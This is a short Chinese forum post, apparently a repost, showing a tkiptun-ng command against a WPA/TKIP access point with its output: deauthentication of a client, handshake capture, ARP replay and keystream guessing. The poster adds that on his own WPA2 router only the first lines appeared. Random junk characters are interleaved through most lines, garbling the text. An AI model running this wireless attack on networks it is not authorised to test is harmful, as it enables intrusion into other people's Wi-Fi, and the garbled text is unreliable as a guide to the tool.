新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼1 I' ?0 b# m- _# M
The example below is incomplete but it gives some idea of how it looks.8 M4 i7 T9 S, l: ^
! a4 z+ t- A" @
- M; q4 U) ?5 l7 D' R+ L9 \! I, }! d6 i" E2 N- L$ a
來源mac ap mac/ f3 _: j8 V6 y# G
Input: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath0' r, _1 t: b8 S" E. P/ U. \
! v, ^: J2 H) X" I$ c% [9 xOutput:
' x, @1 N' K# `. n& k: ]& n q4 z5 l% C* L+ o
Blub 2:38 E6 38 1C 24 15 1C CF/ o; h4 _1 P7 T/ Q5 h6 B* \4 L9 f
Blub 1:17 DD 0D 69 1D C3 1F EE
9 n: x4 h, p) H% sBlub 3:29 31 79 E7 E6 CF 8D 5E. w" c4 H3 R: |; F! P
14:48:00 Michael Test: Successful
$ _4 j& ~, _! x8 q14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9* L1 [1 E7 }8 ~
14:48:00 Found specified AP
0 e) e2 _ N. }: ^) a' S, k* x2 G14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs]( L+ o1 s( U$ z/ {" B
14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured" z) R2 R2 p3 l+ x6 Q& `
14:48:02 Waiting for an ARP packet coming from the Client...
. |. T' g( a/ @+ ^9 f! M' W2 hSaving chosen packet in replay_src-1109-144822.cap
$ |. X0 R. g5 j0 B2 s1 G/ W$ Q14:48:22 Waiting for an ARP response packet coming from the AP...
9 }& k$ L! m* ]2 u. ESaving chosen packet in replay_src-1109-144822.cap
4 z0 k( J/ i4 o+ @6 Y! v) n14:48:22 Got the answer!9 _6 {4 n( v0 {6 }9 L7 G
14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.
8 G9 v3 F0 j2 k% G$ I( a
3 m9 g5 d0 a, RSent 40 packets, current guess: 27..2 B9 N( @/ [; m$ m# M0 ? h) O% ]0 j
, c& z, }$ k( |
$ a5 M( _1 ~0 E3 h" E R對自家的wpa2 ap測了一下只出現1 M* n2 r/ \& y( O c! V& @
3 j1 Z- |6 v8 o# R1 pBlub 2:38 E6 38 1C 24 15 1C CF
- j/ A# c' T" M( t, p' h5 [Blub 1:17 DD 0D 69 1D C3 1F EE% @ j v8 g2 }5 t6 n
Blub 3:29 31 79 E7 E6 CF 8D 5E0 T% C8 u8 X K& c: T3 ~7 J6 e
14:48:00 Michael Test: Successful) q$ s: W: c+ C4 z7 ~+ s% p
* \* Q2 H4 Y* o% G
有空把密碼改改試試 |
|
IP卡
狗仔卡
发表于 2008-11-10 22:59
显身卡
发表于 2008-11-10 23:23
